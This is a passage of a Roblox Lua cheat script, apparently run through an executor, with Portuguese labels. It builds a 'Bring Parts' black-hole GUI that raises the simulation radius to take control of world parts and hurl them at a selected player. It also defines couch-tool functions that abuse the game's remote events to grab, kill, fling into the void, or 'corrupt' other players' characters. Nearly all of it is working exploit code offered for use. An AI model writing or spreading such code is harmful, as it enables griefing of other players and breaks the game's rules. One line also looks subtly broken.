if input.KeyCode==Enum.KeyCode.A then keys.A=false end
if input.KeyCode==Enum.KeyCode.S then keys.S=false end
if input.KeyCode==Enum.KeyCode.D then keys.D=false end
if input.KeyCode==Enum.KeyCode.LeftShift then keys.LeftShift=false end
end
end)
task.spawn(function()
local rotSpeed=0
while tornadoActive do
if not Humanoid.Sit or not tornadoBoat or not tornadoBoat.Parent then
break
end
local camera=Workspace.CurrentCamera
local moveVector=Vector3.new(0,0,0)
if keys.W then moveVector=moveVector+camera.CFrame.LookVector end
if keys.S then moveVector=moveVector-camera.CFrame.LookVector end
if keys.A then moveVector=moveVector-camera.CFrame.RightVector end
if keys.D then moveVector=moveVector+camera.CFrame.RightVector end
local currentSpeed=keys.LeftShift and speed*2.5 or speed
if moveVector.Magnitude>0 then
currentPos=currentPos+(moveVector.Unit*currentSpeed*0.6)
end
currentPos=Vector3.new(math.clamp(currentPos.X,-2000,2000),math.clamp(currentPos.Y,10,200),math.clamp(currentPos.Z,-2000,2000))
if tornadoBoat and tornadoBoat.PrimaryPart then
tornadoBoat:SetPrimaryPartCFrame(CFrame.new(currentPos))
end
rotSpeed=rotSpeed+math.rad(1080*(keys.LeftShift and 2 or 1))*0.016
for i,layer in pairs(layers)do
if layer and layer.Parent then
local layerPos=currentPos+Vector3.new(math.sin(rotSpeed+i*0.5)*(i*2),i*15,math.cos(rotSpeed+i*0.5)*(i*2))
layer.CFrame=CFrame.new(layerPos)*CFrame.Angles(0,rotSpeed*(i*0.4),0)
end
end
RunService.Heartbeat:Wait()
end
if model then
model:Destroy()
end
end)
end
else
if tornadoBoat then
tornadoBoat=nil
end
end
end]]
local ToggleBlackHole = Tabs.TT:AddToggle({
Name = "Gargantua Black Hole",
Description = "Núcleo blackHole Hacking!!!",
Default = false
})
ToggleBlackHole:Callback(function(Value)
toggleBlackHole(Value)
end)
--[[local ToggleTornado = Tabs.TT:AddToggle({
Name = "Infinite Tornado",
Description = "Ativar/Desativar Tornado",
Default = false
})
ToggleTornado:Callback(function(Value)
toggleTornado(Value)
end)]]
local Button = Tabs.TT:AddButton({Translator:traduzir("Puxa Partes Gui"), function()
local Gui = Instance.new("ScreenGui")
local Main = Instance.new("Frame")
local MainCorner = Instance.new("UICorner")
local MainStroke = Instance.new("UIStroke")
local Dropdown = Instance.new("TextButton")
local DropdownCorner = Instance.new("UICorner")
local DropdownStroke = Instance.new("UIStroke")
local DropdownIcon = Instance.new("TextLabel")
local UITextSizeConstraint = Instance.new("UITextSizeConstraint")
local DropdownFrame = Instance.new("ScrollingFrame")
local DropdownFrameCorner = Instance.new("UICorner")
local DropdownFrameStroke = Instance.new("UIStroke")
local DropdownList = Instance.new("UIListLayout")
local Label = Instance.new("TextLabel")
local LabelCorner = Instance.new("UICorner")
local LabelStroke = Instance.new("UIStroke")
local UITextSizeConstraint_2 = Instance.new("UITextSizeConstraint")
local Button = Instance.new("TextButton")
local ButtonCorner = Instance.new("UICorner")
local ButtonStroke = Instance.new("UIStroke")
local UITextSizeConstraint_3 = Instance.new("UITextSizeConstraint")
Gui.Name = "Gui"
Gui.Parent = gethui()
Gui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
Main.Name = "Main"
Main.Parent = Gui
Main.BackgroundColor3 = Color3.fromRGB(45, 45, 55)
Main.BorderSizePixel = 0
Main.Position = UDim2.new(0.335954279, 0, 0.542361975, 0)
Main.Size = UDim2.new(0.240350261, 0, 0.200000000, 0)
Main.Active = true
Main.Draggable = true
MainCorner.CornerRadius = UDim.new(0, 12)
MainCorner.Parent = Main
MainStroke.Color = Color3.fromRGB(85, 170, 255)
MainStroke.Thickness = 2
MainStroke.Parent = Main
Dropdown.Name = "Dropdown"
Dropdown.Parent = Main
Dropdown.BackgroundColor3 = Color3.fromRGB(65, 65, 75)
Dropdown.BorderSizePixel = 0
Dropdown.Position = UDim2.new(0.08, 0, 0.25, 0)
Dropdown.Size = UDim2.new(0.84, 0, 0.25, 0)
Dropdown.FontFace = Font.new("rbxasset://fonts/families/Nunito.json", Enum.FontWeight.SemiBold, Enum.FontStyle.Normal)
Dropdown.Text = "Selecionar Jogador"
Dropdown.TextColor3 = Color3.fromRGB(220, 220, 220)
Dropdown.TextScaled = true
Dropdown.TextSize = 18
Dropdown.TextWrapped = true
Dropdown.TextXAlignment = Enum.TextXAlignment.Left
DropdownCorner.CornerRadius = UDim.new(0, 8)
DropdownCorner.Parent = Dropdown
DropdownStroke.Color = Color3.fromRGB(100, 100, 120)
DropdownStroke.Thickness = 1
DropdownStroke.Parent = Dropdown
DropdownIcon.Name = "DropdownIcon"
DropdownIcon.Parent = Dropdown
DropdownIcon.BackgroundTransparency = 1
DropdownIcon.Position = UDim2.new(0.85, 0, 0, 0)
DropdownIcon.Size = UDim2.new(0.15, 0, 1, 0)
DropdownIcon.Font = Enum.Font.Nunito
DropdownIcon.Text = "▼"
DropdownIcon.TextColor3 = Color3.fromRGB(150, 150, 150)
DropdownIcon.TextScaled = true
DropdownIcon.TextSize = 14
local DropdownPadding = Instance.new("UIPadding")
DropdownPadding.PaddingLeft = UDim.new(0, 10)
DropdownPadding.Parent = Dropdown
UITextSizeConstraint.Parent = Dropdown
UITextSizeConstraint.MaxTextSize = 18
DropdownFrame.Name = "DropdownFrame"
DropdownFrame.Parent = Main
DropdownFrame.BackgroundColor3 = Color3.fromRGB(55, 55, 65)
DropdownFrame.BorderSizePixel = 0
DropdownFrame.Position = UDim2.new(0.08, 0, 0.51, 0)
DropdownFrame.Size = UDim2.new(0.84, 0, 0, 0)
DropdownFrame.Visible = false
DropdownFrame.ScrollBarThickness = 6
DropdownFrame.ScrollBarImageColor3 = Color3.fromRGB(85, 170, 255)
DropdownFrameCorner.CornerRadius = UDim.new(0, 8)
DropdownFrameCorner.Parent = DropdownFrame
DropdownFrameStroke.Color = Color3.fromRGB(100, 100, 120)
DropdownFrameStroke.Thickness = 1
DropdownFrameStroke.Parent = DropdownFrame
DropdownList.Parent = DropdownFrame
DropdownList.SortOrder = Enum.SortOrder.LayoutOrder
DropdownList.Padding = UDim.new(0, 2)
Label.Name = "Label"
Label.Parent = Main
Label.BackgroundColor3 = Color3.fromRGB(85, 170, 255)
Label.BorderSizePixel = 0
Label.Size = UDim2.new(1, 0, 0.18, 0)
Label.FontFace = Font.new("rbxasset://fonts/families/Nunito.json", Enum.FontWeight.Bold, Enum.FontStyle.Normal)
Label.Text = "Bring Parts"
Label.TextColor3 = Color3.fromRGB(255, 255, 255)
Label.TextScaled = true
Label.TextSize = 16
Label.TextWrapped = true
LabelCorner.CornerRadius = UDim.new(0, 12)
LabelCorner.Parent = Label
LabelStroke.Color = Color3.fromRGB(65, 140, 215)
LabelStroke.Thickness = 1
LabelStroke.Parent = Label
UITextSizeConstraint_2.Parent = Label
UITextSizeConstraint_2.MaxTextSize = 16
Button.Name = "Button"
Button.Parent = Main
Button.BackgroundColor3 = Color3.fromRGB(65, 65, 75)
Button.BorderSizePixel = 0
Button.Position = UDim2.new(0.15, 0, 0.72, 0)
Button.Size = UDim2.new(0.7, 0, 0.22, 0)
Button.FontFace = Font.new("rbxasset://fonts/families/Nunito.json", Enum.FontWeight.SemiBold, Enum.FontStyle.Normal)
Button.Text = "Bring | Off"
Button.TextColor3 = Color3.fromRGB(220, 220, 220)
Button.TextScaled = true
Button.TextSize = 20
Button.TextWrapped = true
ButtonCorner.CornerRadius = UDim.new(0, 8)
ButtonCorner.Parent = Button
ButtonStroke.Color = Color3.fromRGB(100, 100, 120)
ButtonStroke.Thickness = 1
ButtonStroke.Parent = Button
UITextSizeConstraint_3.Parent = Button
UITextSizeConstraint_3.MaxTextSize = 20
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local LocalPlayer = Players.LocalPlayer
local UserInputService = game:GetService("UserInputService")
local Workspace = game:GetService("Workspace")
local TweenService = game:GetService("TweenService")
local character
local humanoidRootPart
local selectedPlayer = nil
local dropdownOpen = false
local playerButtons = {}
local tweenInfo = TweenInfo.new(0.3, Enum.EasingStyle.Quart, Enum.EasingDirection.Out)
local function createPlayerButton(player)
local playerButton = Instance.new("TextButton")
local playerButtonCorner = Instance.new("UICorner")
local playerButtonPadding = Instance.new("UIPadding")
playerButton.Name = player.Name
playerButton.Parent = DropdownFrame
playerButton.BackgroundColor3 = Color3.fromRGB(65, 65, 75)
playerButton.BorderSizePixel = 0
playerButton.Size = UDim2.new(1, -10, 0, 35)
playerButton.FontFace = Font.new("rbxasset://fonts/families/Nunito.json", Enum.FontWeight.Medium, Enum.FontStyle.Normal)
playerButton.Text = player.DisplayName .. " (@" .. player.Name .. ")"
playerButton.TextColor3 = Color3.fromRGB(200, 200, 200)
playerButton.TextSize = 14
playerButton.TextXAlignment = Enum.TextXAlignment.Left
playerButtonCorner.CornerRadius = UDim.new(0, 6)
playerButtonCorner.Parent = playerButton
playerButtonPadding.PaddingLeft = UDim.new(0, 10)
playerButtonPadding.Parent = playerButton
playerButton.MouseEnter:Connect(function()
local hoverTween = TweenService:Create(playerButton, tweenInfo, {BackgroundColor3 = Color3.fromRGB(85, 170, 255)})
hoverTween:Play()
end)
playerButton.MouseLeave:Connect(function()
local leaveTween = TweenService:Create(playerButton, tweenInfo, {BackgroundColor3 = Color3.fromRGB(65, 65, 75)})
leaveTween:Play()
end)
playerButton.MouseButton1Click:Connect(function()
selectedPlayer = player
Dropdown.Text = player.DisplayName .. " (@" .. player.Name .. ")"
dropdownOpen = false
DropdownIcon.Text = "▼"
local closeTween = TweenService:Create(DropdownFrame, tweenInfo, {Size = UDim2.new(0.84, 0, 0, 0)})
closeTween:Play()
closeTween.Completed:Wait()
DropdownFrame.Visible = false
end)
return playerButton
end
local function updatePlayerList()
for _, button in pairs(playerButtons) do
button:Destroy()
end
playerButtons = {}
local players = Players:GetPlayers()
for _, player in pairs(players) do
if player ~= LocalPlayer then
local button = createPlayerButton(player)
table.insert(playerButtons, button)
end
end
local totalHeight = math.min(#playerButtons * 37 + 10, 200)
DropdownFrame.CanvasSize = UDim2.new(0, 0, 0, #playerButtons * 37 + 10)
end
Players.PlayerAdded:Connect(updatePlayerList)
Players.PlayerRemoving:Connect(updatePlayerList)
updatePlayerList()
Dropdown.MouseButton1Click:Connect(function()
dropdownOpen = not dropdownOpen
if dropdownOpen then
updatePlayerList()
DropdownFrame.Visible = true
DropdownIcon.Text = "▲"
local openTween = TweenService:Create(DropdownFrame, tweenInfo, {Size = UDim2.new(0.84, 0, 0, math.min(#playerButtons * 37 + 10, 200))})
openTween:Play()
else
DropdownIcon.Text = "▼"
local closeTween = TweenService:Create(DropdownFrame, tweenInfo, {Size = UDim2.new(0.84, 0, 0, 0)})
closeTween:Play()
closeTween.Completed:Wait()
DropdownFrame.Visible = false
end
end)
mainStatus = true
UserInputService.InputBegan:Connect(function(input, gameProcessedEvent)
if input.KeyCode == Enum.KeyCode.RightControl and not gameProcessedEvent then
mainStatus = not mainStatus
if mainStatus then
Main.Visible = true
local showTween = TweenService:Create(Main, tweenInfo, {BackgroundTransparency = 0})
showTween:Play()
else
local hideTween = TweenService:Create(Main, tweenInfo, {BackgroundTransparency = 1})
hideTween:Play()
hideTween.Completed:Wait()
Main.Visible = false
end
end
end)
local Folder = Instance.new("Folder", Workspace)
local Part = Instance.new("Part", Folder)
local Attachment1 = Instance.new("Attachment", Part)
Part.Anchored = true
Part.CanCollide = false
Part.Transparency = 1
if not getgenv().Network then
getgenv().Network = {
BaseParts = {},
Velocity = Vector3.new(14.46262424, 14.46262424, 14.46262424)
}
Network.RetainPart = function(Part)
if Part:IsA("BasePart") and Part:IsDescendantOf(Workspace) then
table.insert(Network.BaseParts, Part)
Part.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0, 0, 0)
Part.CanCollide = false
end
end
local function EnablePartControl()
LocalPlayer.ReplicationFocus = Workspace
RunService.Heartbeat:Connect(function()
sethiddenproperty(LocalPlayer, "SimulationRadius", math.huge)
for _, Part in pairs(Network.BaseParts) do
if Part:IsDescendantOf(Workspace) then
Part.Velocity = Network.Velocity
end
end
end)
end
EnablePartControl()
end
local function ForcePart(v)
if v:IsA("BasePart") and not v.Anchored and not v.Parent:FindFirstChildOfClass("Humanoid") and not v.Parent:FindFirstChild("Head") and v.Name ~= "Handle" then
for _, x in ipairs(v:GetChildren()) do
if x:IsA("BodyMover") or x:IsA("RocketPropulsion") then
x:Destroy()
end
end
if v:FindFirstChild("Attachment") then
v:FindFirstChild("Attachment"):Destroy()
end
if v:FindFirstChild("AlignPosition") then
v:FindFirstChild("AlignPosition"):Destroy()
end
if v:FindFirstChild("Torque") then
v:FindFirstChild("Torque"):Destroy()
end
v.CanCollide = false
local Torque = Instance.new("Torque", v)
Torque.Torque = Vector3.new(100000, 100000, 100000)
local AlignPosition = Instance.new("AlignPosition", v)
local Attachment2 = Instance.new("Attachment", v)
Torque.Attachment0 = Attachment2
AlignPosition.MaxForce = math.huge
AlignPosition.MaxVelocity = math.huge
AlignPosition.Responsiveness = 200
AlignPosition.Attachment0 = Attachment2
AlignPosition.Attachment1 = Attachment1
end
end
local blackHoleActive = false
local DescendantAddedConnection
local function toggleBlackHole()
blackHoleActive = not blackHoleActive
if blackHoleActive then
Button.Text = "Bring Parts | On"
Button.BackgroundColor3 = Color3.fromRGB(85, 170, 255)
ButtonStroke.Color = Color3.fromRGB(65, 140, 215)
for _, v in ipairs(Workspace:GetDescendants()) do
ForcePart(v)
end
DescendantAddedConnection = Workspace.DescendantAdded:Connect(function(v)
if blackHoleActive then
ForcePart(v)
end
end)
spawn(function()
while blackHoleActive and RunService.RenderStepped:Wait() do
Attachment1.WorldCFrame = humanoidRootPart.CFrame
end
end)
else
Button.Text = "Bring Parts | Off"
Button.BackgroundColor3 = Color3.fromRGB(65, 65, 75)
ButtonStroke.Color = Color3.fromRGB(100, 100, 120)
if DescendantAddedConnection then
DescendantAddedConnection:Disconnect()
end
end
end
Button.MouseButton1Click:Connect(function()
if selectedPlayer then
character = selectedPlayer.Character or selectedPlayer.CharacterAdded:Wait()
humanoidRootPart = character:WaitForChild("HumanoidRootPart")
toggleBlackHole()
else
local errorTween = TweenService:Create(Dropdown, TweenInfo.new(0.1, Enum.EasingStyle.Quad), {BackgroundColor3 = Color3.fromRGB(255, 80, 80)})
errorTween:Play()
errorTween.Completed:Wait()
local resetTween = TweenService:Create(Dropdown, TweenInfo.new(0.3, Enum.EasingStyle.Quad), {BackgroundColor3 = Color3.fromRGB(65, 65, 75)})
resetTween:Play()
end
end)
Button.MouseEnter:Connect(function()
if not blackHoleActive then
local hoverTween = TweenService:Create(Button, tweenInfo, {BackgroundColor3 = Color3.fromRGB(75, 75, 85)})
hoverTween:Play()
end
end)
Button.MouseLeave:Connect(function()
if not blackHoleActive then
local leaveTween = TweenService:Create(Button, tweenInfo, {BackgroundColor3 = Color3.fromRGB(65, 65, 75)})
leaveTween:Play()
end
end)
Dropdown.MouseEnter:Connect(function()
local hoverTween = TweenService:Create(Dropdown, tweenInfo, {BackgroundColor3 = Color3.fromRGB(75, 75, 85)})
hoverTween:Play()
end)
Dropdown.MouseLeave:Connect(function()
local leaveTween = TweenService:Create(Dropdown, tweenInfo, {BackgroundColor3 = Color3.fromRGB(65, 65, 75)})
leaveTween:Play()
end)
end})
end
do
local selectedPlayerName = nil
local methodKill = nil
getgenv().Target = nil
local Character = LocalPlayer.Character
local Humanoid = Character and Character:WaitForChild("Humanoid")
local RootPart = Character and Character:WaitForChild("HumanoidRootPart")
local function cleanupCouch()
local char = LocalPlayer.Character
if char then
local couch = char:FindFirstChild("Drip.Couch") or LocalPlayer.Backpack:FindFirstChild("Drip.Couch")
if couch then
couch:Destroy()
end
end
ReplicatedStorage:WaitForChild("RE"):WaitForChild("1Clea1rTool1s"):FireServer("ClearAllTools")
end
LocalPlayer.CharacterAdded:Connect(function(newCharacter)
Character = newCharacter
Humanoid = newCharacter:WaitForChild("Humanoid")
RootPart = newCharacter:WaitForChild("HumanoidRootPart")
cleanupCouch()
Humanoid.Died:Connect(function()
cleanupCouch()
end)
end)
if Humanoid then
Humanoid.Died:Connect(function()
cleanupCouch()
end)
end
local function KillPlayerCouch()
if not selectedPlayerName then
return
end
local target = Players:FindFirstChild(selectedPlayerName)
if not target or not target.Character then
return
end
local char = LocalPlayer.Character
if not char then
return
end
local hum = char:FindFirstChildOfClass("Humanoid")
local root = char:FindFirstChild("HumanoidRootPart")
local tRoot = target.Character and target.Character:FindFirstChild("HumanoidRootPart")
if not hum or not root or not tRoot then
return
end
local originalPos = root.Position
local sitPos = Vector3.new(145.51, -350.09, 21.58)
ReplicatedStorage:WaitForChild("RE"):WaitForChild("1Clea1rTool1s"):FireServer("ClearAllTools")
task.wait(0.2)
ReplicatedStorage.RE:FindFirstChild("1Too1l"):InvokeServer("PickingTools", "Couch")
task.wait(0.3)
local tool = LocalPlayer.Backpack:FindFirstChild("Couch")
if tool then tool.Parent = char end
task.wait(0.1)
VirtualInputManager:SendKeyEvent(true, Enum.KeyCode.F, false, game)
task.wait(0.1)
hum:SetStateEnabled(Enum.HumanoidStateType.Seated, false)
hum.PlatformStand = false
local cam = workspace.CurrentCamera
cam.CameraSubject = target.Character:FindFirstChild("Head") or tRoot or hum
local align = Instance.new("BodyPosition")
align.Name = "BringPosition"
align.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
align.D = 10
align.P = 30000
align.Position = root.Position
align.Parent = tRoot
task.spawn(function()
local angle = 0
local startTime = tick()
while tick() - startTime < 5 and target and target.Character and target.Character:FindFirstChildOfClass("Humanoid") do
local tHum = target.Character:FindFirstChildOfClass("Humanoid")
if not tHum or tHum.Sit then break end
local hrp = target.Character.HumanoidRootPart
local adjustedPos = hrp.Position + (hrp.Velocity / 1.5)
angle += 50
root.CFrame = CFrame.new(adjustedPos + Vector3.new(0, 2, 0)) * CFrame.Angles(math.rad(angle), 0, 0)
align.Position = root.Position + Vector3.new(2, 0, 0)
task.wait()
end
align:Destroy()
hum:SetStateEnabled(Enum.HumanoidStateType.Seated, true)
hum.PlatformStand = false
cam.CameraSubject = hum
for _, p in pairs(char:GetDescendants()) do
if p:IsA("BasePart") then
p.Velocity = Vector3.zero
p.RotVelocity = Vector3.zero
end
end
task.wait(0.1)
root.CFrame = CFrame.new(sitPos)
task.wait(0.3)
local tool = char:FindFirstChild("Couch")
if tool then tool.Parent = LocalPlayer.Backpack end
task.wait(0.01)
ReplicatedStorage.RE:FindFirstChild("1Too1l"):InvokeServer("PickingTools", "Couch")
task.wait(0.2)
root.CFrame = CFrame.new(originalPos)
end)
end
local function BringPlayerLLL()
if not selectedPlayerName then
return
end
local target = Players:FindFirstChild(selectedPlayerName)
if not target or not target.Character then
return
end
local char = LocalPlayer.Character
if not char then
return
end
local hum = char:FindFirstChildOfClass("Humanoid")
local root = char:FindFirstChild("HumanoidRootPart")
local tRoot = target.Character and target.Character:FindFirstChild("HumanoidRootPart")
if not hum or not root or not tRoot then
return
end
local originalPos = root.Position
ReplicatedStorage:WaitForChild("RE"):WaitForChild("1Clea1rTool1s"):FireServer("ClearAllTools")
task.wait(0.2)
ReplicatedStorage.RE:FindFirstChild("1Too1l"):InvokeServer("PickingTools", "Couch")
task.wait(0.3)
local tool = LocalPlayer.Backpack:FindFirstChild("Couch")
if tool then
tool.Parent = char
end
task.wait(0.1)
VirtualInputManager:SendKeyEvent(true, Enum.KeyCode.F, false, game)
task.wait(0.1)
hum:SetStateEnabled(Enum.HumanoidStateType.Seated, false)
hum.PlatformStand = false
cam.CameraSubject = target.Character:FindFirstChild("Head") or tRoot or hum
local align = Instance.new("BodyPosition")
align.Name = "BringPosition"
align.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
align.D = 10
align.P = 30000
align.Position = root.Position
align.Parent = tRoot
task.spawn(function()
local angle = 0
local startTime = tick()
while tick() - startTime < 5 and target and target.Character and target.Character:FindFirstChildOfClass("Humanoid") do
local tHum = target.Character:FindFirstChildOfClass("Humanoid")
if not tHum or tHum.Sit then break end
local hrp = target.Character.HumanoidRootPart
local adjustedPos = hrp.Position + (hrp.Velocity / 1.5)
angle += 50
root.CFrame = CFrame.new(adjustedPos + Vector3.new(0, 2, 0)) * CFrame.Angles(math.rad(angle), 0, 0)
align.Position = root.Position + Vector3.new(2, 0, 0)
task.wait()
end
align:Destroy()
hum:SetStateEnabled(Enum.HumanoidStateType.Seated, true)
hum.PlatformStand = false
cam.CameraSubject = hum
for _, p in pairs(char:GetDescendants()) do
if p:IsA("BasePart") then
p.Velocity = Vector3.zero
p.RotVelocity = Vector3.zero
end
end
task.wait(0.1)
root.Anchored = true
root.CFrame = CFrame.new(originalPos)
task.wait(0.001)
root.Anchored = false
task.wait(0.7)
local tool = char:FindFirstChild("Couch")
if tool then
tool.Parent = LocalPlayer.Backpack
end
task.wait(0.001)
ReplicatedStorage.RE:FindFirstChild("1Too1l"):InvokeServer("PickingTools", "Couch")
end)
end
local function BringWithCouch()
local targetPlayer = Players:FindFirstChild(getgenv().Target)
if not targetPlayer then
return
end
if not targetPlayer.Character or not targetPlayer.Character:FindFirstChild("HumanoidRootPart") then
return
end
local args = { [1] = "ClearAllTools" }
ReplicatedStorage.RE["1Clea1rTool1s"]:FireServer(unpack(args))
local args = { [1] = "PickingTools", [2] = "Couch" }
ReplicatedStorage.RE:FindFirstChild("1Too1l"):InvokeServer(unpack(args))
local couch = LocalPlayer.Backpack:WaitForChild("Couch", 2)
if not couch then
warn("Erro: Sofá não encontrado no Backpack")
return
end
couch.Name = "Drip.Couch"
local seat1 = couch:FindFirstChild("Seat1")
local seat2 = couch:FindFirstChild("Seat2")
local handle = couch:FindFirstChild("Handle")
if seat1 and seat2 and handle then
seat1.Disabled = true
seat2.Disabled = true
handle.Name = "Handle "
else
return
end
couch.Parent = LocalPlayer.Character
local tet = Instance.new("BodyVelocity", seat1)
tet.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
tet.P = 1250
tet.Velocity = Vector3.new(0, 0, 0)
tet.Name = "#mOVOOEPF$#@F$#GERE..>V<<<<EW<V<<W"
repeat
for m = 1, 35 do
local pos = { x = 0, y = 0, z = 0 }
local tRoot = targetPlayer.Character and targetPlayer.Character.HumanoidRootPart
if not tRoot then break end
pos.x = tRoot.Position.X + (tRoot.Velocity.X / 2)
pos.y = tRoot.Position.Y + (tRoot.Velocity.Y / 2)
pos.z = tRoot.Position.Z + (tRoot.Velocity.Z / 2)
seat1.CFrame = CFrame.new(Vector3.new(pos.x, pos.y, pos.z)) * CFrame.new(-2, 2, 0)
task.wait()
end
tet:Destroy()
couch.Parent = LocalPlayer.Backpack
task.wait()
couch:FindFirstChild("Handle ").Name = "Handle"
task.wait(0.2)
couch.Parent = LocalPlayer.Character
task.wait()
couch.Parent = LocalPlayer.Backpack
couch.Handle.Name = "Handle "
task.wait(0.2)
couch.Parent = LocalPlayer.Character
tet = Instance.new("BodyVelocity", seat1)
tet.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
tet.P = 1250
tet.Velocity = Vector3.new(0, 0, 0)
tet.Name = "#mOVOOEPF$#@F$#GERE..>V<<<<EW<V<<W"
until targetPlayer.Character and targetPlayer.Character.Humanoid and targetPlayer.Character.Humanoid.Sit == true
task.wait()
tet:Destroy()
couch.Parent = LocalPlayer.Backpack
task.wait()
couch:FindFirstChild("Handle ").Name = "Handle"
task.wait(0.3)
couch.Parent = LocalPlayer.Character
task.wait(0.3)
couch.Grip = CFrame.new(Vector3.new(0, 0, 0))
task.wait(0.3)
ReplicatedStorage.RE["1Clea1rTool1s"]:FireServer("ClearAllTools")
end
local function KillWithCouch()
local targetPlayer = Players:FindFirstChild(getgenv().Target)
if not targetPlayer then
warn("Erro: Nenhum jogador alvo selecionado")
return
end
if not targetPlayer.Character or not targetPlayer.Character:FindFirstChild("HumanoidRootPart") then
warn("Erro: Jogador alvo sem personagem ou HumanoidRootPart")
return
end
local args = { [1] = "ClearAllTools" }
ReplicatedStorage.RE["1Clea1rTool1s"]:FireServer(unpack(args))
local args = { [1] = "PickingTools", [2] = "Couch" }
ReplicatedStorage.RE:FindFirstChild("1Too1l"):InvokeServer(unpack(args))
local couch = LocalPlayer.Backpack:WaitForChild("Couch", 2)
if not couch then
warn("Erro: Sofá não encontrado no Backpack")
return
end
couch.Name = "Drip.Couch"
local seat1 = couch:FindFirstChild("Seat1")
local seat2 = couch:FindFirstChild("Seat2")
local handle = couch:FindFirstChild("Handle")
if seat1 and seat2 and handle then
seat1.Disabled = true
seat2.Disabled = true
handle.Name = "Handle "
else
warn("Erro: Componentes do sofá não encontrados")
return
end
couch.Parent = LocalPlayer.Character
local tet = Instance.new("BodyVelocity", seat1)
tet.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
tet.P = 1250
tet.Velocity = Vector3.new(0, 0, 0)
tet.Name = "#mOVOOEPF$#@F$#GERE..>V<<<<EW<V<<W"
repeat
for m = 1, 35 do
local pos = { x = 0, y = 0, z = 0 }
local tRoot = targetPlayer.Character and targetPlayer.Character.HumanoidRootPart
if not tRoot then break end
pos.x = tRoot.Position.X + (tRoot.Velocity.X / 2)
pos.y = tRoot.Position.Y + (tRoot.Velocity.Y / 2)
pos.z = tRoot.Position.Z + (tRoot.Velocity.Z / 2)
seat1.CFrame = CFrame.new(Vector3.new(pos.x, pos.y, pos.z)) * CFrame.new(-2, 2, 0)
task.wait()
end
tet:Destroy()
couch.Parent = LocalPlayer.Backpack
task.wait()
couch:FindFirstChild("Handle ").Name = "Handle"
task.wait(0.2)
couch.Parent = LocalPlayer.Character
task.wait()
couch.Parent = LocalPlayer.Backpack
couch.Handle.Name = "Handle "
task.wait(0.2)
couch.Parent = LocalPlayer.Character
tet = Instance.new("BodyVelocity", seat1)
tet.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
tet.P = 1250
tet.Velocity = Vector3.new(0, 0, 0)
tet.Name = "#mOVOOEPF$#@F$#GERE..>V<<<<EW<V<<W"
until targetPlayer.Character and targetPlayer.Character.Humanoid and targetPlayer.Character.Humanoid.Sit == true
task.wait()
couch.Parent = LocalPlayer.Backpack
seat1.CFrame = CFrame.new(Vector3.new(9999, -450, 9999))
seat2.CFrame = CFrame.new(Vector3.new(9999, -450, 9999))
couch.Parent = LocalPlayer.Character
task.wait(0.1)
couch.Parent = LocalPlayer.Backpack
task.wait(2)
local bv = seat1:FindFirstChild("#mOVOOEPF$#@F$#GERE..>V<<<<EW<V<<W")
if bv then bv:Destroy() end
ReplicatedStorage.RE["1Clea1rTool1s"]:FireServer("ClearAllTools")
end
local function playerCorrupt()
local targetPlayer = Players:FindFirstChild(getgenv().Target)
if not targetPlayer then
warn("erro")
return
end
if not targetPlayer.Character or not targetPlayer.Character:FindFirstChild("HumanoidRootPart") then
warn("Erro")
return
end
local args = { [1] = "ClearAllTools" }
ReplicatedStorage.RE["1Clea1rTool1s"]:FireServer(unpack(args))
local args = { [1] = "PickingTools", [2] = "Couch" }
ReplicatedStorage.RE:FindFirstChild("1Too1l"):InvokeServer(unpack(args))
local couch = LocalPlayer.Backpack:WaitForChild("Couch", 2)
if not couch then
warn("Erro: Sofá não encontrado no Backpack")
return
end
couch.Name = "Drip.Couch"
local seat1 = couch:FindFirstChild("Seat1")
local seat2 = couch:FindFirstChild("Seat2")
local handle = couch:FindFirstChild("Handle")
if seat1 and seat2 and handle then
seat1.Disabled = true
seat2.Disabled = true
handle.Name = "Handle "
else
warn("Erro: Componentes do sofá não encontrados")
return
end
couch.Parent = LocalPlayer.Character
local tet = Instance.new("BodyVelocity", seat1)
tet.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
tet.P = 1250
tet.Velocity = Vector3.new(0, 0, 0)
tet.Name = "#mOVOOEPF$#@F$#GERE..>V<<<<EW<V<<W"
repeat
for m = 1, 35 do
local pos = { x = 0, y = 0, z = 0 }
local tRoot = targetPlayer.Character and targetPlayer.Character.HumanoidRootPart
if not tRoot then break end
pos.x = tRoot.Position.X + (tRoot.Velocity.X / 2)
pos.y = tRoot.Position.Y + (tRoot.Velocity.Y / 2)
pos.z = tRoot.Position.Z + (tRoot.Velocity.Z / 2)
seat1.CFrame = CFrame.new(Vector3.new(pos.x, pos.y, pos.z)) * CFrame.new(-2, 2, 0)
task.wait()
end
tet:Destroy()
couch.Parent = LocalPlayer.Backpack
task.wait()
couch:FindFirstChild("Handle ").Name = "Handle"
task.wait(0.2)
couch.Parent = LocalPlayer.Character
task.wait()
couch.Parent = LocalPlayer.Backpack
couch.Handle.Name = "Handle "
task.wait(0.2)
couch.Parent = LocalPlayer.Character
tet = Instance.new("BodyVelocity", seat1)
tet.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
tet.P = 1250
tet.Velocity = Vector3.new(0, 0, 0)
tet.Name = "#mOVOOEPF$#@F$#GERE..>V<<<<EW<V<<W"
until targetPlayer.Character and targetPlayer.Character.Humanoid and targetPlayer.Character.Humanoid.Sit == true
task.wait()
couch.Parent = LocalPlayer.Backpack
seat1.CFrame = CFrame.new(Vector3.new(0/0, 0/0, 0/0))
seat2.CFrame.new(Vector3.new(0/0, 0/0, 0/0))
couch.Parent = LocalPlayer.Character
task.wait(0.1)
couch.Parent = LocalPlayer.Backpack
task.wait(2)
local bv = seat1:FindFirstChild("#mOVOOEPF$#@F$#GERE..>V<<<<EW<V<<W")
if bv then bv:Destroy() end
ReplicatedStorage.RE["1Clea1rTool1s"]:FireServer("ClearAllTools")
end
local function jailcouch()
if not selectedPlayerName then
return
end
local target = Players:FindFirstChild(selectedPlayerName)
if not target or not target.Character then
return
end
local char = LocalPlayer.Character
if not char then
return
end
local hum = char:FindFirstChildOfClass("Humanoid")
local root = char:FindFirstChild("HumanoidRootPart")
local tRoot = target.Character and target.Character:FindFirstChild("HumanoidRootPart")
